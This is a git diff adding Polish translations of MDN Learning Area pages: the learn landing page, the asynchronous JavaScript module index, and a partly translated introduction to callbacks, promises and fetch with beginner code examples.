+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Dodawanie stylów do listu</a></dt>
+ <dd>Prędzej czy później każdy z nas uczy się, w jaki sposób napisać list. Może to zostać wykorzystane do przetestowania naszych zdolności formatowania tekstu - w tym zadaniu masz za zadanie dodanie formatowania do listu.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Dodanie struktury strony</a></dt>
+ <dd>To zadanie testuje twoje umiejętności używania HTML  to dodania struktury strony, która zawiera nagłówek, stopkę, menu nawigacyjne, główną zawartość i pasek boczny.</dd>
+</dl>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<dl>
+ <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">Test zdolności w sieci 1</a></dt>
+ <dd>Doskonały kurs fundacji Mozilla, który przedstawia i testuje wiele umiejętności, o których mowa jest we <em>Wprowadzeniu do HTML.</em> Zainteresowani zaznajamiają sie w tym sześcioczęsciowym kursie z: czytaniem, pisaniem i byciem członkiem sieci Internet. Odkryj podstawy Internetu poprzez produkcję i współpracę.</dd>
+</dl>
+
+<div class="blockIndicator note">
+
+
+<h2 id="Feedback">  Feedback</h2>
+
+<p>Pomóż nam doskonalić nasze poradniki takie jak ten poprzez wypełnienie <a href="https://www.surveygizmo.com/s3/4871248/MDN-Guides-Survey">naszej ankiety</a>.</p>
+
+<p>(Ankieta w języku angielskim)</p>
+</div>
diff --git a/files/pl/learn/index.html b/files/pl/learn/index.html
new file mode 100644
index 0000000000..a19660883d
--- /dev/null
+++ b/files/pl/learn/index.html
@@ -0,0 +1,141 @@
+---
+title: Naucz się pisać strony internetowe!
+slug: Learn
+tags:
+ - Beginner
+ - Index
+ - Landing
+ - Learn
+ - Nauka
+ - Początkujący
+ - TopicStub
+ - Web
+ - sieć
+translation_of: Learn
+---
+<div class="summary">
+<p>Witamy w dziale nauki MDN. Ten zestaw artykułów pozwala wdrożyć całkowicie początkującego webmastera do wszystkiego, czego potrzebuje by zacząć tworzyć proste strony www.</p>
+
+<p>Chcesz nauczyć się tworzyć strony i aplikacje internetowe? Dobrze trafiłeś!</p>
+</div>
+
+<p>Web design to bardzo obszerny dział, ale nie masz się co martwić. Jesteśmy po to, by ci pomóc. Nieważne, czy dopiero zaczynasz, czy szlifujesz developerskie zdolności.</p>
+
+<p>Jeśli jesteś całkowicie zielony w technologiach webowych, a tworzenie stron jest dla ciebie wyzwaniem - poprowadzimy Cię za rekę i zapoznamy wystarczająco szczegółowo z poszczególnymi tematami. Powinieneś poczuć się jak w domu podczas nauki webmasteringu, niezależnie czy jesteś studentem (na własną rękę lub jako członek zespołu klasowego), nauczycielem poszukującym materiałów, hobbystą albo kimś kto chce dowiedzieć się więcej o technologiach stron internetowych.</p>
+
+
+
+
+
+<h2 id="Gdzie_zacząć">Gdzie zacząć</h2>
+
+<p>Powiedz nam, ile umiesz. Który z tych opisów najlepiej do ciebie pasuje?</p>
+
+<ul class="card-grid">
+ <li><span>Początkujący</span>
+
+ <p>Witaj! Powinieneś zacząć od naszej serii: <a href="/pl/docs/Learn/Getting_started_with_the_web">"Podstawy tworzenia stron internetowych"</a>. Poznasz tam wszystkie podstawy potrzebne ci, by zacząć zabawę z tworzeniem stron.</p>
+ </li>
+ <li><span>Mam jeszcze kilka pytań</span>Jeśli poszukujesz odpowiedzi na kilka frapujących kwestii dotyczących tworzenia stron nasza sekcja <a href="/pl/docs/Learn/Common_questions">Najczęściej zadawanych pytań</a> powinna Ci pomóc</li>
+ <li><span>To dla mnie nie pierwszyzna</span>
+ <p>Świetnie! W takim razie zacznij kopać głębiej, w samym sercu Internetu: <a href="/pl/docs/Learn/HTML">HTML</a>, <a href="/pl/docs/Learn/CSS">CSS</a>, i <a href="/pl/docs/Learn/JavaScript">JavaScript</a></p>
+ </li>
+ <li><span>Jestem Mistrzem!</span>
+ <p>Przepięknie! W takim razie zainteresują cię nasze <a href="/pl/docs/Web/Guide">przewodniki</a> i <a href="/pl/docs/Web/Tutorials">samouczki </a>dla zaawansowanych. Rozważ także podzielenie się swoją wiedzą w <a href="/pl/Learn/How_to_contribute">dziale nauki</a>. ;)</p>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Info</strong>: W przyszłości pojawią się inne ścieżki nauki - dla doświadczonych programistów z poradnikami, jak korzystać z konkretnych zaawansowanych technik, programistów, którzy nie mieli styczności z technologiami webowymi, a także dla tych, którzy chcą nauczyć się technik projektowania.</p>
+</div>
+
+<p>{{LearnBox({"title":"Coś na szybko: Słownik"})}}</p>
+
+<h2 id="Ucz_się_w_grupie">Ucz się w grupie</h2>
+
+<p>Jeśli masz jakieś pytania lub nadal nie wiesz, gdzie zacząć - Mozilla jest globalną społecznością entuzjastów, zrzeszającą mentorów i nauczycieli, którzy z chęcią ci pomogą! Skontaktuj się z nimi poprzez WebMaker:</p>
+
+<ul>
+ <li>Rozmawiaj z mentorami na <a href="http://discourse.webmaker.org/" rel="external">forum</a>.</li>
+ <li><a href="https://events.webmaker.org/">Szukaj wydarzeń</a> i ucz się technologii webowych z fajnymi ludźmi.</li>
+</ul>
+
+<h2 id="Dziel_się_wiedzą">Dziel się wiedzą</h2>
+
+<p>Cały ten dział jest tworzony przez użytkowników. Potrzebujemy cię w zespole. Nieważne, czy dopiero zaczynasz, czy znasz Web na wylot. Jeśli to cię interesuje, przejrzyj sekcję: <a href="/en-US/Learn/How_to_contribute">"Jak mogę pomóc?"</a>. Zachęcamy także do rozmowy z nami poprzez <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">listę mailingową</a> i <a href="/en-US/docs/MDN/Community#Get_into_IRC">Kanał IRC</a>. :)</p>
+
+
+
+<dl>
+ <dt><a href="https://exlskills.com/learn-en/courses">EXLskills</a> </dt>
+ <dd>Bezpłatne i otwarte kursy do nauki umiejętności technicznych, z mentoringu i uczenia się opartego na projektach</dd>
+</dl>
+
+<h2 id="Nawigacja">Nawigacja</h2>
+
+<ol>
+ <li><a href="/pl/Learn/Getting_started_with_the_web">Podstawy tworzenia stron internetowych </a></li>
+ <li><font color="#0b0115"><a href="/pl/Learn/Skills">Naucz się tworzenia storn i aplikacji</a></font>
+ <ol>
+ <li><a href="https://webmaker.org/en-US/literacy" rel="external">Mapa umiejętności webowych</a></li>
+ <li><a href="/pl/Learn/Web_Mechanics">Mechanika sieci</a></li>
+ <li><a href="/pl/Learn/Infrastructure">Infrastruktura</a></li>
+ <li><a href="/pl/Learn/Coding-Scripting">Kodowanie i skrypty</a></li>
+ <li><a href="/pl/Learn/Design_and_Accessibility">Projektowanie i dostępność</a></li>
+ <li><a href="/pl/Learn/Composing_for_the_web">Tworzenie i planowanie</a></li>
+ </ol>
+ </li>
+ <li><a href="#">Naucz się technologii</a>
+ <ol>
+ <li><a href="/pl/Learn/HTML">HTML</a></li>
+ <li><a href="/pl/Learn/CSS">CSS</a></li>
+ <li><a href="/pl/Learn/JavaScript">JavaScript</a></li>
+ <li><a href="/pl/Learn/Python">Python</a></li>
+ </ol>
+ </li>
+ <li><a href="/pl/Learn/tutorial">Tutoriale</a>
+ <ol>
+ <li><a href="/pl/Learn/tutorial/How_to_build_a_web_site">Jak utworzyć stronę internetową?</a></li>
+ <li><a href="/pl/Learn/tutorial/Information_Security_Basics">Podstawy bezpieczeństwa informacji</a></li>
+ </ol>
+ </li>
+ <li><a href="http://weblitmapper.webmakerprototypes.org/">Zasoby edukacyjne</a></li>
+ <li><a href="/pl/Learn/help">Uzysaj pomoc</a>
+ <ol>
+ <li><a href="/pl/Learn/FAQ">FAQ</a></li>
+ <li><a href="/pl/docs/Glossary">Słownik</a></li>
+ <li><a href="http://discourse.webmakerprototypes.org/" rel="external">Zadaj pytanie</a></li>
+ <li><a href="https://events.webmaker.org/" rel="external">Poznaj nauczycieli i mentorów</a></li>
+ </ol>
+ </li>
+ <li><a href="/pl/Learn/How_to_contribute">Jak uczestniczyć w projekcie</a></li>
+</ol>
+
+<h2 id="Skontaktuj_się_z_nami">Skontaktuj się z nami</h2>
+
+<h4 id="sect1"></h4>
+
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" style="text-align: left; height: 672px;"><span lang="pl">Jeśli chcesz się z nami skontaktować w jakiejkolwiek sprawie, najlepszym sposobem jest przesłanie nam wiadomości w naszym wątku dyskursywnym lub kanałach IRC. Chcielibyśmy usłyszeć od Ciebie o wszystkim, co uważasz za błędne lub brakujące w witrynie, prośby o nowe tematy związane z uczeniem się, prośby o pomoc w przypadku przedmiotów, których nie rozumiesz, lub jakiekolwiek inne pytania lub wątpliwości.</span><span lang="pl"> Jeśli chcesz pomóc w rozwijaniu / ulepszaniu treści, zobacz, jak możesz pomóc i skontaktuj się z nami! Chętnie z Tobą porozmawiamy, niezależnie od tego, czy jesteś uczniem, nauczycielem, doświadczonym programistą lub kimś innym zainteresowanym w ulepszaniu nauki.</span></p>
+
+<h2 class="tw-data-text tw-ta tw-text-small" dir="ltr" id="Zobacz_też" style="text-align: left; height: 672px;"><span lang="pl">Zobacz też</span></h2>
+
+<p class="tw-data-text tw-ta tw-text-small" dir="ltr" id="tw-target-text" style="text-align: left; height: 1344px;"><span lang="pl">Biuletyn dla programistów Mozilli<br>
+     Nasz biuletyn dla twórców stron internetowych, który jest świetnym źródłem informacji dla wszystkich poziomów doświadczenia.<br>
+ Strona internetowa demystified<br>
+     Wspaniała seria filmów objaśniających podstawy internetowe, które mają na celu pełne przygotowanie do tworzenia stron internetowych. Stworzony przez Jérémie Patonnier.<br>
+ Codecademy<br>
+     Świetna interaktywna strona do nauki języków programowania od zera.<br>
+ Code.org<br>
+     Podstawowa teoria i praktyka kodowania, skierowana głównie do dzieci / osób początkujących.<br>
+ EXLskills<br>
+     Bezpłatne i otwarte kursy do nauki umiejętności technicznych, z mentoringu i uczenia się opartego na projektach<br>
+ freeCodeCamp.org<br>
+     Strona interaktywna z samouczkami i projektami do nauki tworzenia stron internetowych.<br>
+ Mapa umiejętności internetowych<br>
+     Struktura początkowych umiejętności korzystania z Internetu i umiejętności XXI wieku, która zapewnia również dostęp do zajęć dydaktycznych według kategorii.<br>
+ Działania dydaktyczne<br>
+     Seria działań dydaktycznych do nauczania (i uczenia się) stworzona przez Fundację Mozilla, obejmująca wszystko od podstawowej znajomości stron internetowych i prywatności po JavaScript i hakowanie Minecrafta.<br>
+ Edabit<br>
+     Setki interaktywnych wyzwań w zakresie kodowania w różnych językach.</span></p>
+
+<p dir="ltr"></p>
diff --git a/files/pl/learn/javascript/asynchronous/index.html b/files/pl/learn/javascript/asynchronous/index.html
new file mode 100644
index 0000000000..5a445f8b99
--- /dev/null
+++ b/files/pl/learn/javascript/asynchronous/index.html
@@ -0,0 +1,67 @@
+---
+title: Asynchronous JavaScript
+slug: Learn/JavaScript/Asynchronous
+tags:
+ - Beginner
+ - CodingScripting
+ - Guide
+ - JavaScript
+ - Landing
+ - NeedsTranslation
+ - Promises
+ - TopicStub
+ - async
+ - asynchronous
+ - await
+ - callbacks
+ - requestAnimationFrame
+ - setInterval
+ - setTimeout
+translation_of: Learn/JavaScript/Asynchronous
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">In this module we take a look at {{Glossary("asynchronous")}} {{Glossary("JavaScript")}}, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server.</span></p>
+
+<div class="in-page-callout webdev">
+<h3 id="Looking_to_become_a_front-end_web_developer">Looking to become a front-end web developer?</h3>
+
+<p>We have put together a course that includes all the essential information you need to work towards your goal.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Get started</a></p>
+</div>
+
+<h2 id="Prerequisites">Prerequisites</h2>
+
+<p>Asynchronous JavaScript is a fairly advanced topic, and you are advised to work through <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript first steps</a> and <a href="/en-US/docs/Learn/JavaScript/Building_blocks">JavaScript building blocks</a> modules before attempting this.</p>
+
+<p>If you are not familiar with the concept of asynchronous programming, you should definitely start with the <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a> article in this module. If you are, then you can probably skip to the <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a> module.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you can try out (most of) the code examples in an online coding program such as <a href="http://jsbin.com/">JSBin</a> or <a href="https://glitch.com">Glitch</a>.</p>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts">General asynchronous programming concepts</a></dt>
+ <dd>
+ <p>In this article we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and JavaScript. You should understand these concepts before working through the other articles in the module.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">Introducing asynchronous JavaScript</a></dt>
+ <dd>In this article we briefly recap the problems associated with sychronous JavaScript, and take a first look at some of the different asynchronous JavaScript techniques you'll encounter, showing how they can help us solve such problems.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Loops_and_intervals">Cooperative asynchronous JavaScript: Timeouts and intervals</a></dt>
+ <dd>Here we look at the traditional methods JavaScript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g. a set number of times per second), talk about what they are useful for, and look at their inherent issues.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">Handling async operations gracefully with Promises</a></dt>
+ <dd>Promises are a comparatively new feature of the JavaScript language that allow you to defer further actions until after the previous action has completed, or respond to its failure. This is really useful for setting up a sequence of operations to work correctly. This article shows you how promises work, where you'll see them in use in WebAPIs, and how to write your own.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">Making asynchronous programming easier with async and await</a></dt>
+ <dd>Promises can be somewhat complex to set up and understand, and so modern browsers have implemented <code>async</code> functions and the <code>await</code> operator. The former allows standard functions to implicitly behave asynchronously with promises, whereas the latter can be used inside <code>async</code> functions to wait for promises before the function continues. This makes chaining promises simpler and easier to read.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choosing the right approach</a></dt>
+ <dd>To finish this module off, we'll consider the different coding techniques and features we've discussed throughout, looking at which ones you should use when, with recommendations and reminders of common pitfalls where appropriate.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://eloquentjavascript.net/11_async.html">Asynchronous Programming</a> from the fantastic <a href="https://eloquentjavascript.net/">Eloquent JavaScript</a> online book by Marijn Haverbeke.</li>
+</ul>
diff --git a/files/pl/learn/javascript/asynchronous/introducing/index.html b/files/pl/learn/javascript/asynchronous/introducing/index.html
new file mode 100644
index 0000000000..d7fda6b10b
--- /dev/null
+++ b/files/pl/learn/javascript/asynchronous/introducing/index.html
@@ -0,0 +1,279 @@
+---
+title: Introducing asynchronous JavaScript
+slug: Learn/JavaScript/Asynchronous/Introducing
+translation_of: Learn/JavaScript/Asynchronous/Introducing
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}</div>
+
+<p class="summary">W tym artykule po krótce omówimy problemy związane z synchronicznością JavaScriptu i zapoznamy się z innymi asynchronicznymi technikami, które napotkasz, pokazując jak mogą pomóc rozwiązać wymienione problemy.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania:</th>
+ <td>Podstawy obsługi komputera, rzetelna znajomość podstaw JavaScriptu.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cel:</th>
+ <td>Zapoznanie się z asynchronicznym JavaScriptem, czym się różni od synchronicznego JavaScriptu i w jakich przypadkach warto go użyć</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Synchroniczny_JavaScript">Synchroniczny JavaScript</h2>
+
+<p>By pomóc nam zrozumieć czym <strong><a href="/en-US/docs/Glossary/Asynchronous">asynchroniczny</a></strong><a href="/en-US/docs/Glossary/Asynchronous"> </a>JavaScript jest, musimy pierw zrozumieć czym jest <a href="/en-US/docs/Glossary/Synchronous">synchroniczny </a>JavaScript. Ten rozdział podsumuje informacje które widzieliśmy w porzednim artykule.</p>
+
+<p>Wiele funkcji, które widzieliśmy w poprzednich modułach do nauki jest synchroniczna - uruchamiasz kod, a wynik jest zwracany tak szybko jak tylko przeglądarka może to zrobić. Spójrz na prosty przykład (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/basic-function.html">przykład użycia</a> i <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/basic-function.html">kod źródłowy</a>):</p>
+
+<pre class="brush: js notranslate">const btn = document.querySelector('button');
+btn.addEventListener('click', () =&gt; {
+ alert('You clicked me!');
+
+ let pElem = document.createElement('p');
+ pElem.textContent = 'This is a newly-added paragraph.';
+ document.body.appendChild(pElem);
+});
+</pre>
+
+<p>W tym bloku każda linia jest wykonywana po kolei:</p>
+
+<ol>
+ <li>Pobieramy referencje do elementu {{htmlelement("button")}}, który jest już zdefiniowany w DOM'ie.</li>
+ <li>Dodajemy obserwatora zdarzeń <code><a href="/en-US/docs/Web/API/Element/click_event">click</a></code> do niego, więc kiedy przycisk zostanie naciśnięty:
+ <ol>
+ <li>Wiadomość w funkcji <code><a href="/en-US/docs/Web/API/Window/alert">alert()</a></code> pojawi się w przeglądarce.</li>
+ <li>Kiedy zamkniemy wiadomość, stworzymy element typu {{htmlelement("p")}}.</li>
+ <li>Dodamuy do niego zawartość tekstową.</li>
+ <li>Na końcu dodamy akapit do ciała dokumentu HTML.</li>
+ </ol>
+ </li>
+</ol>
+
+<p>Podczas gdy jest wykonywana każda z tych operacji, nic innego nie może się wydarzyć - renderowanie jest wstrzymane. Dzieje się to z powodu, który został opisany w <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Introducing">poprzednim rozdziale</a>, <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Concepts#JavaScript_is_single_threaded">JavaScript jest jednowątkowy</a>. Na głównym wątku nie można wykonywać kilku rzeczy na raz. Wszelkie inne działania są zablokowane dopóki nie zakończy obecnej operacji.</p>
+
+<p>W powyższym przykładzie, po kliknięciu przycisku akapit nie pojawi się dopóki nie wciśniesz przycisku OK w powiadomieniu. Możesz spróbować to samemu:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;<span class="pl-ent">button</span>&gt;Click me&lt;/<span class="pl-ent">button</span>&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Synchronous_JavaScript', '100%', '70px')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Notatka</strong>: Ważnym jest by pamiętać, iż <code><a href="/en-US/docs/Web/API/Window/alert">alert()</a></code>,  choć jest bardzo użyteczny by zademonstrować blokowanie wątku przez synchroniczne operacje, toteż jego użycie w prawdziwych aplikacjach jest okropne i wskazuje na brak wyczucia smaku.</p>
+</div>
+
+<h2 id="Asynchroniczny_JavaScript">Asynchroniczny JavaScript</h2>
+
+<p>Z powodów wymienionych wcześniej (np. blokowanie wątku), wiele funkcji Web API wykonuje kod asynchronicznie. Zwłaszcze te funkcje, które pobierają zasoby z zewnętrznego urządzenia, takie jak pliki z internetu, łączą się z bazą danych i zwracają z niej dane, łączą się ze strumieniem wideo z kamerki internetowej albo wyświetlają obraz w urządzeniach VR.</p>
+
+<p>Dlaczego to jest problem pracować na kodzie synchronicznym? Spójrz na krótki przykład. Kiedy pobierasz obrazek z serwera, nie możesz od razu zwrócić wyniku. To znaczy, że poniższy pseudokod nie będzie działać: </p>
+
+<pre class="brush: js notranslate">let response = fetch('myImage.png'); // fetch is asynchronous
+let blob = response.blob();
+// display your image blob in the UI somehow</pre>
+
+<p>Jest to spowodowane tym, że nie wiesz ile dokładnie czasu zajmie Tobie pobieranie obrazka i kiedy spróbujesz wykonać drugą linię kodu to zostanie zwrócony błąd (może czasami, może za każdym razem) ponieważ odpowiedź (<code>response</code>) z serwera nie jest jeszcze gotowy. Zamiast tego Twój kod musi poczekać zanim odpowiedź zostanie zwrócona nim spróbuje na niej wykonać operacje.</p>
+
+<p>Wyróżniamy dwa główne typy składni asynchronicznego kodu w JavaScript'cie. Starsza wywołanie zwrotne(<code>callback</code>) oraz nowsza obietnice (<code>promise</code>). W następnych rozdziałach kolejno przyjrzymy się każdej z nich.</p>
+
+<h2 id="Async_callbacks">Async callbacks</h2>
+
+<p>Async callbacks are functions that are specified as arguments when calling a function which will start executing code in the background. When the background code finishes running, it calls the callback function to let you know the work is done, or to let you know that something of interest has happened. Using callbacks is slightly old-fashioned now, but you'll still see them in use in a number of older-but-still-commonly-used APIs.</p>
+
+<p>An example of an async callback is the second parameter of the {{domxref("EventTarget.addEventListener", "addEventListener()")}} method (as we saw in action above):</p>
+
+<pre class="brush: js notranslate">btn.addEventListener('click', () =&gt; {
+ alert('You clicked me!');
+
+ let pElem = document.createElement('p');
+ pElem.textContent = 'This is a newly-added paragraph.';
+ document.body.appendChild(pElem);
+});</pre>
+
+<p>The first parameter is the type of event to be listened for, and the second parameter is a callback function that is invoked when the event is fired.</p>
+
+<p>When we pass a callback function as an argument to another function, we are only passing the function's reference as an argument, i.e, the callback function is <strong>not </strong>executed immediately. It is “called back” (hence the name) asynchronously somewhere inside the containing function’s body. The containing function is responsible for executing the callback function when the time comes.</p>
+
+<p>You can write your own function containing a callback easily enough. Let's look at another example that loads a resource via the <a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">run it live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">see the source</a>):</p>
+
+<pre class="brush: js notranslate">function loadAsset(url, type, callback) {
+ let xhr = new XMLHttpRequest();
+ xhr.open('GET', url);
+ xhr.responseType = type;
+
+ xhr.onload = function() {
+ callback(xhr.response);
+ };
+
+ xhr.send();
+}
+
+function displayImage(blob) {
+ let objectURL = URL.createObjectURL(blob);
+
+ let image = document.createElement('img');
+ image.src = objectURL;
+ document.body.appendChild(image);
+}
+
+loadAsset('coffee.jpg', 'blob', displayImage);</pre>
+
+<p>Here we create a <code>displayImage()</code> function that simply represents a blob passed to it as an object URL, then creates an image to display the URL in, appending it to the document's <code>&lt;body&gt;</code>. However, we then create a <code>loadAsset()</code> function that takes a callback as a parameter, along with a URL to fetch and a content type. It uses <code>XMLHttpRequest</code> (often abbreviated to "XHR") to fetch the resource at the given URL, then pass the response to the callback to do something with. In this case the callback is waiting on the XHR call to finish downloading the resource (using the <code><a href="/en-US/docs/Web/API/XMLHttpRequestEventTarget/onload">onload</a></code> event handler) before it passes it to the callback.</p>
+
+<p>Callbacks are versatile — not only do they allow you to control the order in which functions are run and what data is passed between them, they also allow you to pass data to different functions depending on circumstance. So you could have different actions to run on the response downloaded, such as <code>processJSON()</code>, <code>displayText()</code>, etc.</p>
+
+<p>Note that not all callbacks are async — some run synchronously. An example is when we use {{jsxref("Array.prototype.forEach()")}} to loop through the items in an array (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/foreach.html">see it live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/foreach.html">the source</a>):</p>
+
+<pre class="brush: js notranslate">const gods = ['Apollo', 'Artemis', 'Ares', 'Zeus'];
+
+gods.forEach(function (eachName, index){
+ console.log(index + '. ' + eachName);
+});</pre>
+
+<p>In this example we loop through an array of Greek gods and print the index numbers and values to the console. The expected parameter of <code>forEach()</code> is a callback function, which itself takes two parameters, a reference to the array name and index values. However, it doesn't wait for anything — it runs immediately.</p>
+
+<h2 id="Promises">Promises</h2>
+
+<p>Promises are the new style of async code that you'll see used in modern Web APIs. A good example is the <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> API, which is basically like a modern, more efficient version of {{domxref("XMLHttpRequest")}}. Let's look at a quick example, from our <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a> article:</p>
+
+<pre class="brush: js notranslate">fetch('products.json').then(function(response) {
+  return response.json();
+}).then(function(json) {
+  products = json;
+  initialize();
+}).catch(function(err) {
+  console.log('Fetch problem: ' + err.message);
+});</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You can find the finished version on GitHub (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-script.js">see the source here</a>, and also <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">see it running live</a>).</p>
+</div>
+
+<p>Here we see <code>fetch</code><code>()</code> taking a single parameter — the URL of a resource you want to fetch from the network — and returning a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promise</a>. The promise is an object representing the completion or failure of the async operation. It represents an intermediate state, as it were. In essence, it's the browser's way of saying "I promise to get back to you with the answer as soon as I can," hence the name "promise."</p>
+
+<p>This concept can take practice to get used to; it feels a little like {{interwiki("wikipedia", "Schrödinger's cat")}} in action. Neither of the possible outcomes have happened yet, so the fetch operation is currently waiting on the result of the browser trying to complete the operation at some point in the future. We've then got three further code blocks chained onto the end of the <code>fetch()</code>:</p>
+
+<ul>
+ <li>Two <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> blocks. Both contain a callback function that will run if the previous operation is successful, and each callback receives as input the result of the previous successful operation, so you can go forward and do something else to it. Each <code>.then()</code> block returns another promise, meaning that you can chain multiple <code>.then()</code> blocks onto each other, so multiple asynchronous operations can be made to run in order, one after another.</li>
+ <li>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/catch">catch()</a></code> block at the end runs if any of the <code>.then()</code> blocks fail — in a similar way to synchronous <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> blocks, an error object is made available inside the <code>catch()</code>, which can be used to report the kind of error that has occurred. Note however that synchronous <code>try...catch</code> won't work with promises, although it will work with <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Async_await">async/await</a>, as you'll learn later on.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: You'll learn a lot more about promises later on in the module, so don't worry if you don't understand them fully yet.</p>
+</div>
+
+<h3 id="The_event_queue">The event queue</h3>
+
+<p>Async operations like promises are put into an <strong>event queue</strong>, which runs after the main thread has finished processing so that they <em>do not block</em> subsequent JavaScript code from running. The queued operations will complete as soon as possible then return their results to the JavaScript environment.</p>
+
+<h3 id="Promises_versus_callbacks">Promises versus callbacks</h3>
+
+<p>Promises have some similarities to old-style callbacks. They are essentially a returned object to which you attach callback functions, rather than having to pass callbacks into a function.</p>
+
+<p>However, promises are specifically made for handling async operations, and have many advantages over old-style callbacks:</p>
+
+<ul>
+ <li>You can chain multiple async operations together using multiple <code>.then()</code> operations, passing the result of one into the next one as an input. This is much harder to do with callbacks, which often ends up with a messy "pyramid of doom" (also known as <a href="http://callbackhell.com/">callback hell</a>).</li>
+ <li>Promise callbacks are always called in the strict order they are placed in the event queue.</li>
+ <li>Error handling is much better — all errors are handled by a single <code>.catch()</code> block at the end of the block, rather than being individually handled in each level of the "pyramid".</li>
+ <li>Promises avoid inversion of control, unlike old-style callbacks, which lose full control of how the function will be executed when passing a callback to a third-party library.</li>
+</ul>
+
+<h2 id="The_nature_of_asynchronous_code">The nature of asynchronous code</h2>
+
+<p>Let's explore an example that further illustrates the nature of async code, showing what can happen when we are not fully aware of code execution order and the problems of trying to treat asynchronous code like synchronous code. The following example is fairly similar to what we've seen before (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync.html">see it live</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">the source</a>). One difference is that we've included a number of {{domxref("console.log()")}} statements to illustrate an order that you might think the code would execute in.</p>
+
+<pre class="brush: js notranslate">console.log ('Starting');
+let image;
+
+fetch('coffee.jpg').then((response) =&gt; {
+ console.log('It worked :)')
+ return response.blob();
+}).then((myBlob) =&gt; {
+ let objectURL = URL.createObjectURL(myBlob);
+ image = document.createElement('img');
+ image.src = objectURL;
+ document.body.appendChild(image);
+}).catch((error) =&gt; {
+ console.log('There has been a problem with your fetch operation: ' + error.message);
+});
+
+console.log ('All done!');</pre>
+
+<p>The browser will begin executing the code, see the first <code>console.log()</code> statement (<code>Starting</code>) and execute it, and then create the <code>image</code> variable.</p>
+
+<p>It will then move to the next line and begin executing the <code>fetch()</code> block but, because <code>fetch()</code> executes asynchronously without blocking, code execution continues after the promise-related code, thereby reaching the final <code>console.log()</code> statement (<code>All done!</code>) and outputting it to the console.</p>
+
+<p>Only once the <code>fetch()</code> block has completely finished running and delivering its result through the <code>.then()</code> blocks will we finally see the second <code>console.log()</code> message (<code>It worked :)</code>) appear. So the messages have appeared in a different order to what you might expect:</p>
+
+<ul>
+ <li>Starting</li>
+ <li>All done!</li>
+ <li>It worked :)</li>
+</ul>
+
+<p>If this confuses you, then consider the following smaller example:</p>
+
+<pre class="brush: js notranslate">console.log("registering click handler");
+
+button.addEventListener('click', () =&gt; {
+ console.log("get click");
+});
+
+console.log("all done");</pre>
+
+<p>This is very similar in behavior — the first and third <code>console.log()</code> messages will be shown immediately, but the second one is blocked from running until someone clicks the mouse button. The previous example works in the same way, except that in that case the second message is blocked on the promise chain fetching a resource then displaying it on screen, rather than a click.</p>
+
